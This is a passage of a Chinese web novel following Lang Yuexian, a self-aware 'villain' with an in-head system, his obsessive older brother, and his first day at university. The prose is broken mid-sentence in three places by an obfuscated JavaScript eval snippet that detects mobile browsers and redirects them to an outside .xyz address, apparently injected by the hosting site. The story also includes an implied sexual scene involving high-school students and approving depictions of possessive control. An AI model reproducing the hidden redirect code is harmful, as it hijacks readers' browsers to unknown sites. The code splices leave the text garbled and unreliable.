不知道看了多久,朗秉白才用他那退了烧,终于清明了的脑袋瓜,后知后觉的意识到。 朗月现这是想他了。 他这段时间为了争一口气,起早贪黑的加班,忙得不可开交,恨不得吃住都在公司。弟弟又刚开学没办法去找他,两个人的时间几乎完全是岔开的。 不算上朗秉白天天深夜下班后,偷偷去朗月现房间里看他,给他盖被子,他们好像已经很久都没见过面了。 朗秉白那一刻好像被什么击中了。他无法描述那一瞬间心里的感觉,只觉得酸涩异常,却又从中沁出几分甜意,眼眶都被那股奇妙的感觉撑得酸胀。 他俯下身,将弟弟深深地锁进怀里。 朗秉白从那时便完全改变了自己的想法。他如此不遗余力,拼命上进,所付出的一切心血不是为了集团,也不是为了朗家。 只是因为朗月现需要他。 他所求的不过是,让朗月现终其一生,都能无忧无虑,恣肆张扬,毫无顾忌地去做他一切所想做的事情。 ___ 在触碰到朗月现的那一刻所有的疲惫都被一扫而空,朗秉白心满意足的又把身体贴近了几分,直到朗月现开始不耐的挣动,朗秉白才恋恋不舍得松开了给他擦头的动作。 只是还是舍不得放开他,朗秉白又找了个理由,捏了捏弟弟的被洗澡的热气烘得粉嫩的耳垂:“小月是不是又长高了些?” “真的吗!”果不其然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018965|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得收获了一个亮晶晶的眼神,朗秉白心里喜欢的不行,自己都不知道是要做什么,控制不住的半低下头缓缓凑近了朗月现,又僵硬的突然停住。 最后实在没忍住,伸出手指轻轻拂了下朗月现纤长的眼睫毛。 “嗯,感觉是要比放假前高了一些。” 朗月现赶紧向门外跑去,边跑边喊:“赵姨,帮我找卷尺!” “好了没啊。” 朗月现乖乖的站了一会就不耐烦了,伸出手指不停地戳他哥的胸口:“哥你不认识数字我教你,那个数字念190。” 朗秉白笑的胸口一颤,感受到不老实戳来戳去的手指停了,赶紧为了掩饰笑意的轻咳一声:“是比刚放假那阵高了些,有183了。” 系统这时在脑海中突然出声:“是182.5,小说里写的,你上大学后的体检单是这个身高,你哥谎报0.5公分。” 朗月现立刻抬起眼睛,抗议道:“我觉得你谎报了0.5公分。” “我应该是183.5。” 系统:“……”都可以,你开心就好。 朗秉白眼里都是笑意,揉了揉他的头发,手感很软,朗秉白不舍得松手,顺着发丝就捏住了朗月现的耳垂,轻轻揉着:“没错,是哥看错了,哥给你赔罪,咱们今晚出去吃?我定那家你喜欢的私房菜好不好。” 一个暑假长了近3公分,朗月现本来很开心,听到朗秉白的话刚想答应,却发现自己看他哥还是要抬起眼睛,微微仰头。 朗月现又不高兴了,一拧身子就要往房间里走,嘴里小声嘟囔道:“我还会再长呢。” 朗秉白赶紧亦步亦趋的跟在朗月现身后,连声哄道:“那当然了,我们小月还小呢,过不了多久就赶上哥哥了。” 朗月现本来就是想在他哥面前撒个娇,但是他哥太好拿捏了,哄他哄得极其熟练,让他难免有点脸红。 朗月现不好意思再装生气了,转过头色厉内荏的假装抱怨:“还跟着我干嘛,不是要出去吃饭吗,我要换衣服。” 朗秉白笑着往后退了一步:“好好好,哥不跟了,你换。” 朗月现也不关门,也不管朗秉白还站在房间门口,挑好衣服扔到床上,背对着门口三两下就将上衣脱了个干净。 朗月现本身就肩宽腿长,身材比例极好,近段时间又一直在各种锻炼,不仅个子又长高了些,身上多了一层薄肌,肌理分明,身体各处的线条流畅又漂亮。 从少年精瘦宽阔的肩膀顺着线条向下看去,是腰线处向内收紧弯进去的漂亮弧度,紧实又精窄的细腰,刚洗过热水澡的身体还湿淋淋的冒着热气,肤色出奇的白。 朗秉白的目光顺着往下走,凸起的喉结猛地上下滚了滚。 朗秉白脑子一时间恍恍惚惚,还没反应过来,朗月现就将手放在裤腰处,利索地一把脱掉了睡裤,露出一双修长笔直的双腿。 朗月现的腿出奇的漂亮,一双腿紧实有力,肌理线条若隐若现,有一种兼具力量和美感的难以言喻的性感,再往上还有那圆润有弹性的…… 朗秉白被打了个措手不及,慌乱地后退一步,耳廓瞬间通红。他不敢再看,眼睛瞥向一边,尴尬的轻咳一声,说话的声音几乎低不可闻:“……咳,那个,哥……哥出去等你。” 朗月现没听清他说了什么,刚疑惑的扭头去看,就见朗秉白从房间退了出去,还轻轻把门带上了。 5. 第五章 临近开学,朗秉白比朗月现这个已知自己悲惨结局,未来迷雾重重的炮灰反派还要紧张。 他几乎已经到了焦虑的地步,从小到大朗秉白把朗月现看的太紧。原本知道朗月现选了个首都本地的大学还松了一口气,没想到越是临近开学,朗秉白越心烦意乱。 他意识到,似乎不能每天随时都能看见弟弟了。 朗秉白尽量不将自己的情绪暴露在朗月现面前,他只是不停的在集团工作加班,试图通过工作转移自己的注意力,平复自己焦躁不安的难耐心情。 朗月现看着他哥这幅似乎患有分离焦虑症的样子,特地去问朗父:“我哥不会准备亲自送我上学吧。” 如今集团大小事都有朗秉白管着,朗父乐得清闲,每天就美滋滋的练练书法,赏赏景观。 朗父正拿着工艺剪去修他的名贵黑松,嘴里也不闲着,幸灾乐祸的说道:“何止,你哥都给你在学校附近买好房子了,你连宿舍都不用住。” 朗月现正捏着枝桠的手一使劲,松枝被他折下来一截。朗父气得差点给他一脚:“快给我滚,再在这给我捣乱,我就喊你哥把你拎走。” 朗月现手里捏着松枝,微微蹙起眉头,说道:“你得帮我,我不让我哥送,我也不去外面住。” 朗月现甚至能想象得到,朗秉白给他把一切事情安排妥当,带着他看新房子,嘴里还念念有词:“住这边方便哥照顾你,哥会天天过来给你做饭,以后有什么事,你就给哥打电话,哥第一时间……” 朗月现总觉得他们俩要是能活到80岁,他哥还是会在他身后事无巨细的打理好一切。 朗月现咬着指甲“啧”了一声,开什么玩笑,他没有人权的吗? 朗父白了他一眼:“我怎么帮你,我还能把你哥锁家里不让他出去?” 朗月现低头沉思了一会儿,半响后抬起头,眉尾一扬,手里拈着松枝似笑非笑。 他弯着一双眼睛笑眯眯地看着朗父,笑得又乖又讨巧:“爸爸~” 朗父:“……” 造孽啊。 —— 开学当天,朗月现只让司机把他送到门口,便让人回去了。 他独自一人拎着行李箱站在大学校门前,先是平视了远处的整片校园,接着仰起头望向天空。 今天天气很好,万里无云。朗月现眯了眯眼,抬起一只手遮住毫不吝啬洒落在他脸上的阳光。 “就是今天,进入到大学时期的那一刻起,故事就正式开始了。”系统在他脑海中说道:“世界意志就从这一刻会完全介入你所生活的维度。” “世界意志是很强大的,所以宝也只能在它还未介入到这个世界的时候提前联系上你。” 系统看着他面无表情,情绪同样没什么很大的波动,也拿不准朗月现在想些什么,只能试探地先安慰几句:“宿主你要知道,主系统和宝是完全站在你这一边的,宝的出现会在一定程度上干扰世界意志的影响力,即使世界意志接手了这个世界,但是有宝在,事情就完全不一样了。” “对啊……” “有你在,事情确实不一样了不是吗。” 朗月现发现自己的声音有些不稳,他低下头,看到自己的手抖的非常厉害。 系统还以为他是害怕了,急忙拿出自己撒泼打滚的十八般武艺,在朗月现的脑海中到处乱转的试图安抚他:“宿主不怕的,宝绝对不会让你死掉的,‘全维度最强系统’跟你保证,那个什么原书的狗屎结局会被宝踢的远远的,宿主一点事都不会有……” “不。”朗月现打断他,“我不是害怕。” 朗月现抬起脸,一双眼睛亮得惊人,像是融进了炽热的火焰。 他的心跳急速加快,引得朗月现难耐的摸了摸脖颈,心脏好像要从嗓子里蹦出来:“我是兴奋。” 朗月现好兴奋,他觉得太有趣了。 当他踏进这座校园,一个跟他十八年以来认知完全不一样的世界就会在他面前完全展开,所有人都是画中人,只有他觉醒了意识。 只有他是清醒的,清醒的看着世界为他一人盛大开演的独家剧目。 这个世界一直以来都是那么无聊,只要是他想要的,所有人都会殷勤的高举双手为他奉上,他可以拥有所有他想拥有的东西。 太无趣了,他只觉得倦怠。 而如今这个世界终于有趣起来了。 朗月现像是瞬间被电流传遍全身,那股如同注射了过量的肾上腺素一般的强烈冲击让朗月现着迷,他的精神、肉/体,组成他的每一处此刻都充满了狂热的兴奋。 系统快被朗月现猛烈扬起落下,频率极高的脑电波抽晕了,那电波快的抓都抓不住。 自从进入了朗月现的脑海中,这里平静的像是深海一样,静谧得几乎毫无波澜。除了练拳的时候偶尔蹦哒两下,别的时候安静得像是能哄睡十个系统。 它哪经历过这个,系统委屈巴巴地想告一状,当它看到朗月现脸上怪异的微笑,愣是给它吓得一声不敢吭。 这幅少见的精神状态,让他整个人焕发出异样的光彩,眉梢眼角尽是不可一世的张扬之态,周身气质甚至嚣张地有些咄咄逼人。 系统咂了咂嘴,别说,这幅模样,倒确实有点像个恶毒反派了。 朗月现没有让任何一个人来送他,就是为了不被打扰,彻底独享这一刻。 他提步向校门口走去,极度的亢奋让他的脚步都变的轻快起来,毫不停歇地向前迈近。 一步一步,坚定地不像是他要从此刻开始走向自己的既定结局,而是作为进攻方,向着对面步步紧逼而去。 在左脚迈进大学校园的那一秒,系统幼童般的娃娃音突然被一个低沉冰冷的男性声音取代。 “世界意志,开始介入。” 朗月现眉梢高高扬起,嘴角挂着戏谑的笑容,他哼笑一声,眼神中充满了轻蔑和不屑。 “什么狗屁世界意志。” “我的意志,才是世界意志。” —— C大某置顶学生会总群 「你们看到今年新生的质量了吗?」 「你们都很闲吗,来广场南角这边帮帮忙好吗,今年艺术系疯了吗,招了能有一万个人?」 「今年艺术系分低,招的特长生多,你没看音乐系来了几个报道的,都是漂亮小孩,看得我眼花缭乱。」 「得了吧,有盛神一个还不够你们眼花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018966|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缭乱的吗,大馋小子们。」 「说的也是,吃过这么好的,一般美人在我的眼里只能算是吃糠咽菜了。」 「所以才说让你们看看今年新生的质量,你们没看到论坛有一条寻人启事已经爆了吗?」 「我看看我看看。」 「少说废话,直接把帖子扇我脸上。」 杨宇是大二金融系的一名普通学生会干事,被拉来报道处帮忙。C大的金融系一直是国内金融行业Top3专业顶尖院校,今年的录取分数依旧在学校的各个学院中一骑绝尘。 杨宇在这坐了一上午,一共就接待了零星几个新生,闲的他疯狂刷论坛,几分钟前被一条标题前面带了个爆,被推到论坛首页的帖子吸引了目光。 【急!!!谁知道这个新生小学弟是哪个系的,求爆料!老子一见钟情了!】 帖子内容基本处于一个语无伦次的发疯文学,无非就是:惊为天人,女娲毕设,气质出众,简直就是老子的梦中情人,重金悬赏我未来爱人的联系方式,以后结婚了请你骑在我脖子上吃酒席…… 杨宇无语的下滑翻过大段的狂热文字,最后附的是一张偷拍的照片。 拍照片的人能看出来很激动,没找好角度,画面也有点糊,急切的想留下眼前的画面。即使是并不多清晰的照片,却依旧无法阻止少年的美貌极有冲击力的呈现在眼前。 首先会注意到的是少年高挑修长的身段,体态非常好,身着简单的黑色短袖和牛仔裤,衬得他整个人干净又利落。 少年仰着头站在校门口,抬起一只手虚虚遮挡住脸前过于明媚的阳光,你甚至能看到阳光打在他那白皙又奇薄的肌肤上形成金黄的微波。 沐浴着阳光的少年微眯着眼睛,离得这么远都能看到他的长睫在眼睑处落下的阴影,细碎的发丝直至耳根处被照出一片浅红的颜色,却还没有他唇上的颜色鲜艳。 实在是品貌非常出众的一个人。 帖子底下的评论也是一片混乱。 「狗贼,这一看就是我还未曾相识的爱人,你夺人挚爱,罪该万死。」 「是该死,所以你拿到我老婆的信息了吗,只要交出来,我允许你死缓。」 「世风日下,C大因为你们这些肤浅的大学生,档次都变低了。所以三分钟过去了,秘书还是没有把这个人的所有信息呈到我面前吗?」 「一群废物!」 …… 杨宇下意识的跟着扒了半天帖子信息,也同样没找到这位新生的相关信息,颇有些怅然若失。他又将照片打开,长按了个保存,又仔仔细细的欣赏那几乎挑不出错的美貌。 他不知道自己这是什么心理,他甚至想挑剔的找出少年外貌上的缺点,却只觉得越看越好看。不光是外貌,就连身型气质,都标志的让人咂舌。 杨宇一边看着照片,一边不由得想到,上次论坛这种盛况,好像还是盛神在迎新晚会上表演节目的那次…… 正当他出神得盯着手机上的照片之际,一只手屈起指节,叩了叩他面前的桌面。 “……同学?” 杨宇惊醒一般回过神,蓦然抬起头,却看见手机上那张他怎么都挑不出错的漂亮的脸正对着他笑。 6. 第六章 朗月现在金融系报道处至少站了两分钟了,报道处的这个工作人员像是不知道神游到哪去了,只顾着盯着手机一脸傻笑,不管他怎么重复得喊“你好同学”,他愣是理都不理,仿佛完全听不见。 朗月现有些不耐烦了,他本来脾气就不好,天又热,他觉得自己出了一身汗,格外让人烦躁。但是刚开学,他还不准备这么快就暴露自己的真面目。只能强忍着不虞,屈尊再次喊了一声,这次还敲了敲桌子。 那个工作人员终于回过神来,朗月现满意的弯起唇角,刚准备把材料递过去,抬眼发现那个工作人员竟然又愣住了,表情呆滞得跟他刚才抬起头看见自己的时候丝毫未变。 朗月现:“……” 这里是金融系的报道处吧,不是说c大的金融系都是高材生吗,这是哪淘来的珍贵智障品种,怎么就随便摆这了,不怕丢吗。 杨宇看着朗月现眉梢一挑,眉间蹙起,似笑非笑的看着自己,看上去更加飒爽了。表情又酷又随性,模样俊的难以形容。 看到递到面前的材料,杨宇才终于意识到自己的本职工作,他忙不迭的接过来,紧张的嘴里像是打了个碟,说话都磕巴起来:“啊啊,哦哦哦……你是来报道的是吗……” 朗月现好笑扯了下唇:“不然呢?”他俯下身隔着桌子凑近杨宇,挑着眉,眼神戏谑:“我是特地来找你的吗?” 他语气毫不客气,嘲讽意味十足,但杨宇好像完全没听出来,只因为突然凑近的距离和鼻翼处嗅到的清浅的玫瑰花香,混着一些被阳光晒过衣服的温暖气味,形成了一股独特的香味。 杨宇像是被这股好闻的味道淹没,一瞬间就从脸颊红到了耳根。 “不……不好意思。” 在办妥了手续,告知了宿舍位置后,被婉拒了将人送到宿舍门口的提议,杨宇站在原地眼巴巴的看着逐渐远去的背影。 在看到好多路人经过朗月现之后惊为天人,交头接耳,窃窃私语,并掏出手机偷拍的场景之后,杨宇才幡然醒悟,他拿着手机狂拍自己大腿,蠢货,忘了加联系方式了! 懊恼之际,他突然看到了朗月现填写的信息表,又静下心默默坐了回去。他掏出手机打开微信输入手机号搜索,搜索到的是昵称是黄色的弯弯月亮emoji ,头像是一只带着墨镜的黑色英短。 输入添加认证后,他小心翼翼的,似乎在对待什么珍宝一样,点击了好友添加请求。 杨宇十分道貌岸然的想着,自己身为同系的学长,帮助学弟快速熟悉大学生活也是理所应当,私心什么的都是见仁见智,他才不是那种只会叫嚣着喊人老婆的那种人呢。 再打开论坛看到依旧高挂首页榜首的寻人贴,杨宇嗤笑一声,带着满满的优越感和不为人知的私心,快速点击了关闭按钮。 —— 宿舍楼是新建的,看着各处都还过得去。朗月现本来还算满意,直到走进宿舍楼才发现,没有电梯。 他掏出自己的钥匙看了看上面挂着的门牌号,504,还行,还可以接受,还好只带了一个箱子。 朗月现拎起自己的箱子,认命的开始爬楼。 假期不间断的高强度训练成果如今很好的体现了出来,至少爬到三楼朗月现还没觉得气喘,不过也就到三楼为止了。 上行的楼梯被一伙人堵上了,从拐角处就能听见一群人吵嚷。 朗月现走近观望,一个穿着朴素的清秀男生正手足无措的站在楼梯阶上,脚下一个很大的蛇皮袋子几乎抵住了整个楼梯口。 另一个人站在比他高两节的台阶,趾高气扬地指着他不断叫嚷,后面还跟着三四个人,看样子是一波人。今天毕竟是新生报道,虽然被分在新宿舍楼的学生不多,难免还是造成了拥堵。 眼见着人越来越多,站在下面一声不吭的男生指尖无意识地拧紧了衣服下摆,一张脸羞愧的红到脖根。 他终于忍受不了的开口回应,声音却还是没什么底气的细小:“我已经道过很多次歉了,对不起蹭到了你的衣服,我会赔给你的,你先让我走行不行,已经挡到很多人的路了……” 他话音未落,那个人更是抓住把柄一般的大声奚落起来:“赔?你用什么赔,就你这个穷酸样子,你把自己卖出去也赔不起!” 他向下走了一步,面带嫌弃用鞋尖踢了踢脚边的蛇皮袋子,恶狠狠的用手指一把捏起清秀男生的下巴,语气满满透着毫不掩饰的恶意:“不过确实有一些老变态就喜欢你这种还算看得过去的小男生,你去卖个几晚估计就能赔得起我的衣服了。” 围观的路人都听不下去了,被羞辱的男生更是气的眼眶都通红,他咬紧牙关不让眼泪掉下来,开学第一天就遇到这种事,他只羞愧的恨不得拉着面前这个恶霸一头撞死。 下一秒,捏在自己下巴上的手猛地松开,接着就是一声痛极的嚎叫在耳边炸开,他惊讶的扭头看去,被泪花朦胧的眼睛看不清眼前突然出现的人,只能任由一股浅淡的花香从鼻尖划过。 接着一声清凌凌的悦耳声音,只震得他心头一紧。 “你挡路了。” 董其铭只觉被人捏住的那只手疼得像是快断了,他下意识的想求饶,膝盖都快跪一半了,突然想起来自己还带着人呢,声音嘶哑的向后吼道:“你们愣着干嘛呢!” 身后的几人这才反应过来,却被少年冷冷扫过来的一个眼风定在原地,互相大眼看小眼,谁也没动作。 董其铭气的要吐血,少年却主动先放开了他。 朗月现看着对方,眼中还带着笑意,彷佛刚刚差点把人家的手从腕上拧下来的人不是自己,他悠哉悠哉的开口:“同学,你看这里已经堵了这么多人了,要不你先让开,让我们先过去,回头你再慢慢吵?” 董其铭这才看清面前人的模样,先是猛地愣了一下,直到手上剧烈的疼痛提醒了自己。 他扭过头恶狠狠的瞪了一眼身后那几个见色忘义的家伙,再转回来时的声音怎么听怎么有点色厉内荏的感觉:“你… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018967|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …你敢动我,你以后最好给我小心点!” 他低笑一声,仿佛听到了无比好笑的笑话,声音里透着被取悦到了的愉悦味道:“哦?那你想怎么样?” 短袖突然被人轻轻扯了一下,朗月现眼睛往旁边轻轻一瞥,仿佛这才意识到身旁还有一个人。 清秀男生依旧是一副唯唯诺诺的样子,他看也不看董其铭,只对着朗月现轻声说道:“同学,你……你别理他了,你先走吧,我已经给我朋友打电话了,谢谢你……” 朗月现轻挑眉梢:“就是因为走不了啊,你们不是把路堵死了吗。” 清秀男生:“……” 朗月现姿态散漫地抄着兜站着,慢悠悠的开口:“这样吧,你的衣服我给你赔。” 董其铭被他突如其来的立场转变搞得一时语塞,旁边男生急得一把拉住了朗月现的手腕:“这怎么能行……” 朗月现却眼睛也不眨地打断了他,只笑容愈发恶劣:“但是你这衣服看起来像是Ralph Lauren去年第三季度的专柜款式,先不说这种旧款如今价值几何,只是我实在是不知道……” 他停顿了一下,声音里透着掩不住的玩味:“一件假货要以什么价格赔偿啊。” “……” “宋煜,你没事吧!” 程澈从楼上跑下来的时候正好对上了朗月现仰头看过来的目光。 模样好的惊人的少年双手插着兜,脸上的笑意带着几分懒散的痞气,黑白分明的明亮眼睛满是还未消下去的恶劣玩味。 分明是干净随意的打扮,浑身却散发着恣意张扬的嚣张气质。 * 朗月现拎着行李箱走在前面,后面两个人一步不落的跟着他往上走。 跟的太紧,朗月现甚至觉得这俩人可能都不住在楼上,只是硬跟着上来的。 后面下来的那个高个子突然轻声开口,语气满是担忧和劝告:“下次再有这种事你要第一时间给我打电话,董其铭那家伙之前就一直缠着你,你要学会保护……” 宋煜有些慌乱地止住了程澈的话,他的眼睛一直撇向朗月现,似乎并不想让他听到这种事情,慌忙地想要转变话题。 他本来就声音温软,对着朗月现开口的时候更是温柔的能拧出水来:“朗同学……那个,你是怎么看出来他的衣服是假货的呢?” 朗月现脚步都未顿,不假思索的说道:“他的衣服不是假的。” “啊?” 他扭过头,眼睛里满是狡黠的笑意:“我胡说的。” 宋煜只觉得心跳陡然加快,气血上涌,他大着胆子继续问道:“那朗同学你是什么专……” 话还未说出口,朗月现抬头看了看楼层标识,站在楼梯口放下行李箱,松松筋骨,摆了摆手:“我到了,先走了。” “……好。” 宋煜目送着朗月现离开,半响才被程澈唤回了心神。程澈拎着他的蛇皮袋子,抬手擦了擦汗:“走吧,先送你去宿舍。” 7. 第七章 首都朗氏集团总部vip会客室 朗秉白坐在主位,端起特助刚刚泡好的咖啡,垂着眼神色自若地轻抿了一口。 任谁也看不出,朗秉白此刻其实已经快气疯了。 偏偏在他弟弟开学这天,和他们合作了近十年的老东家要重新商讨这么多年从未改变过的签约合同。而且凭借着多年老客户的特殊权力,非要朗氏如今当家的朗秉白参与座谈,朗父都可以不出席,朗秉白不行。 朗秉白几乎气笑了,用脚趾头想都知道,这是他弟弟联合朗父给他下的套。 这小孩估摸着是嫌自己管的太多了,直接跟他玩叛逆不服管这一套,一声不吭的丢下他,自己跑了。 有朋友曾经在两人聚会的时候,听到朗秉白神情严肃的接听电话,以为是公司出了什么事情,在旁边大气都不敢出。挂了电话才知道,是保姆打来的,说朗月现今晚给家里打了电话,同学聚餐,要晚归。 朗秉白问清地址和结束时间,拿起外套就要去朗月现的聚餐地等着接人。朋友当即无语的表示:“你简直是个控制欲爆棚的弟控。” 朗秉白不以为然,这怎么能称为控制欲呢,必须事无巨细的亲自经手朗月现的所有事情,时刻保证朗月现处于自己的保护范围内,也只不过是作为兄长对弟弟正常的责任感而已。 朗秉白总是不安心,自己家这个小孩太能招惹人,他自己却完全不开窍。 朗月现上学期间,只要朗秉白能空出时间,一直都是他亲自去接送。 高中有一天放学,朗秉白刚好提前结束工作,让车停在校门口,自己则步行进了学校。 那天正好赶上放假前大型文艺晚会,教学楼空荡荡的,朗秉白没去礼堂看晚会,打算直接等在朗月现的教室门前。 他多次来学校接送朗月现,轻车熟路的找到教室,接着他就从教室的后门窗口处看见了眼前这一幕。 朗秉白瞬间顿住脚步,马上就能见到弟弟的喜悦刹那间消失得无影无踪。 教室并不是他想象中的空无一人,眼前的一幕是让他无数次午夜梦回,都会在睡梦中被暴怒的情绪狠狠惊醒的荒诞场景。 空荡的教室中,朗月现的座位上坐着一个染了金色头发的少年。晚会是允许学生穿私服的,那个少年用一只手把朗月现换下来的校服外套捂在脸上,痴迷的像条狗一样拱着鼻子嗅个不停,脸上的表情贪婪又愉悦。 他被这种背/德的行为和身体带来的快/感刺激地难以忍受的皱着眉,他难耐地发出喘/音,仰着脑袋靠在椅背上,喉结不断滚动,颈间的青筋跳动的异常厉害。 空气黏腻又安静,空留金发少年压制不住的粗/重喘/息。 直到他伸出舌头黏腻又急促的重重舔/上朗月现的校服领口,一声巨响在落针可闻的空间里炸开,教室的门被狠狠地踹开了。 金发少年气息混乱,眼神迷离,颇为帅气的脸上还泛着明显的被情/欲包裹的红潮。脑子还在被极度的愉悦包裹着的混沌中,露出一副失神的样子,朗秉白已经阴沉着脸来到了他的面前。 下一秒朗秉白猛地抬起一脚,重重的踹在金发少年的心口。 —— 这个拿着朗月现衣服明目张胆的做着龌龊事情,暗自觊觎他弟弟的金毛,朗秉白其实是有印象的。 两家的父母在生意上有些往来,家里的孩子年龄相仿,还上了同一所贵族中学,关系也因此变得更近了一些。 金发少年经常会随着其他的一些同学来家里约朗月现出去玩,对朗月现表现得很是热情。 现在看来,朗秉白眼神森然,冷冷发笑,那过分的热情倒像是心怀鬼胎的殷勤成分更多一些。 金毛不出所料的转学了,甚至连再多见朗月现一眼的机会都没有。朗秉白在关于朗月现的事情上,冷硬的不近任何情面,无论如何都不会退让一步。 他现在只是担心两个少年平日里关系亲近,如果朗月现亲自来问他原因,他要怎么解释才好。 朗秉白难得有些犯愁的捏了捏眉心,真因为这件事惹火了弟弟,他都不知道要怎么哄才好。 奇怪的是,事情过了一周,朗月现依旧没有任何要发作的迹象,和平常一样上学放学,情绪上也没有任何变化。 又过了几天,朗秉白只怕是风雨欲来之前的宁静,实在没忍住,主动开口询问了几句。 “啊,你说陈臻也啊。”朗月现咬着筷子,歪头想了想:“是有一段时间没见过了,好像还有人给他发信息也不见回复,还过来问过我。” 朗秉白神情复杂的看着他:“你不好奇吗,他去哪了?” 朗月现勾了下唇,毫无波澜,不以为意得慢悠悠摇了摇头,只是轻喟一声:“那家伙学习又不好,估计是让他爸妈送去国外镀金去了呗,管人家干嘛。” 说罢还反问道:“哥你好奇怪,什么时候开始关心别人家的事了?” 朗秉白一时间不知道该做何种反应,只强行将刚刚一起冒出头的复杂思绪压了下去,陪弟弟吃完饭,目送着他上楼回了房间。 他其实一直知道朗月现内里是个非常冷情的人,身边一直有很多人捧着他,所以性子有些玩世不恭,嚣张又随性。 好像和谁都玩得来,实际无论什么人,他都不放在眼里。大家都想得到他的青睐,拼命地讨好他,想引起他的注意,他却从来都不在意。 做事只顺着心意来,没有多强的道德感,是好是坏都不在乎。 他对周围的一切都非常漠然,怕麻烦,彷佛投入情感是一件很累的事情。对绝大部分事情都是可有可无,漠不关己的态度。 唯一的一点正向情感,可能都给家里人了。 别说朗月现不知道陈臻也离开的理由,就算他亲眼看见了陈臻也拿着他的衣服,当着他的面自/慰,他估计也只会觉得麻烦,面无表情的让他滚远点。 朗秉白脸上复杂的表情慢慢消失,他向楼上望过去,紧紧地盯住朗月现紧闭的房间门,嘴角逐渐浮现出一抹耐人寻味的笑意。 可是,这不正是他想要的吗。 只会对哥哥展露出毫无杂质的纯粹爱意,其他人想尽办法,穷尽一切,无论使用什么样的方法,如何崩溃,挣扎,撕咬,最终也只能彻底认输。 败家犬一样只能在朗月现的世界徒然路过,一丝痕迹都不会留下。 朗秉白的眼神逐渐变得狂热,呼吸急促,身体微微颤抖,浑身的肌肉都因为过分激动而紧绷着。 只属于,他一个人的朗月现 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朗秉白慢悠悠地放下咖啡杯,抬起眼直直地看向坐在对面,自从见到他就开始不停擦汗的合作方董事。 朗秉白笑的彬彬有礼,一字一句地说道:“辛苦您特地跑一趟,王董,现在就来看合同吧。” —— 朗月现到了宿舍,进门后发现地上零散的放着些行李,但是一个人都没有。一个宿舍住四个人,新宿舍铺设了崭新干净的上床下桌,空间也不小,朗月现稍微满意了点,决定原谅宿舍没有电梯这件事三秒。 朗月现按床架上贴的名字找到了自己的床位,正准备简单收拾一下,系统这时候弱弱出声了:“宿主,你刚刚好帅哦。” “嗯?” 系统蹦跶着小腿,有些激动的翻来翻去:“真的真的,你刚刚动手的时候帅的宝都想尖叫了,但是宝怕打扰你,没敢出声呢。” 确实很帅,临走的时候面对面如菜色的董其铭,擦身而过之际,朗月现用只有他们两个人能听到的声音耳语道:“不服是吗?忍着。” “不然小心我弄死你” 董其铭肉眼可见得浑身一颤,最佳观赏位的系统被帅的满地打滚。 朗月现轻笑了声,拿出湿巾擦桌子,却发现桌子已经被擦过了。他正疑惑着,系统又说话了:“不过,宝还以为,宿主的性格不会乐意管这种闲事呢。” “开局就树敌,这跟咱们不想当反派的目标有点背道而驰啊。” 朗月现不置可否:“他说话太难听了。” 系统说的没错,不管是不是准备刻意远离世界意志规定的反派剧情,按照朗月现怕麻烦的性格,他确实不会管别人的闲事。 只是朗月现当时突然想起来,前不久看到过的自己作为炮灰反派在原小说中的结局。 虽然系统贴心地打了马赛克,但那一团乱码在其他各色乱码下扭曲挣扎的画面,也实在不难想象,当时被玩弄的会有多么惨不忍睹。 朗月现因为董其铭的话想起那一幕,他有点犯恶心,下意识就动手了。 正和系统脑内对着话,门被人从外面推开了。朗月现转头看去,竟然是刚才那两个人中的高个子。 8. 第八章 程澈推门进来,看见朗月现也有些诧异,不过紧接着就反应过来,眼睛突然就亮了起来,往前紧走几步,又突兀的停在离朗月现两步远的地方。 他有点不好意思的挠了挠头,开口搭话:“啊,好巧啊,咱们……是一个宿舍的呢。” 朗月现点了点头作为回应,蹲下身打开行李箱,看着保姆给他收拾整齐的箱子,从里面拿出整洁的一套床品,脸上难得的露出些迷茫。 程澈看着他原地没了动作,赶紧又说道:“那个,咱们宿舍的床垫都是崭新的,我刚刚给全部擦了一遍,很干净的,床单什么的直接铺就可以了。” 朗月现停顿了两秒,慢慢地点了点头作为回应,在脑海里问系统:“床单怎么铺?” 系统:“?真的吗宿主,问宝吗?宝看起来像是需要铺床睡觉的生物吗?” 朗月现嫌麻烦地“啧”了一声,准备自己胡来试试,反正大差不差铺平就可以了,旁边的声音又小心翼翼的传来:“……要不,我帮你铺吧?” 朗月现侧头一看,那人又趁机站近了一些,一股清冽的皂香混着阳光的味道从他身上弥漫开来,个头比朗月现要高,离近了看竟然还是精壮的类型,肩宽体阔的,投下的一大片阴影甚至能把朗月现完全包裹住。 但是那张带着点讨好的乖巧笑脸使那副高大体型带来的压迫感完全成了个笑话。 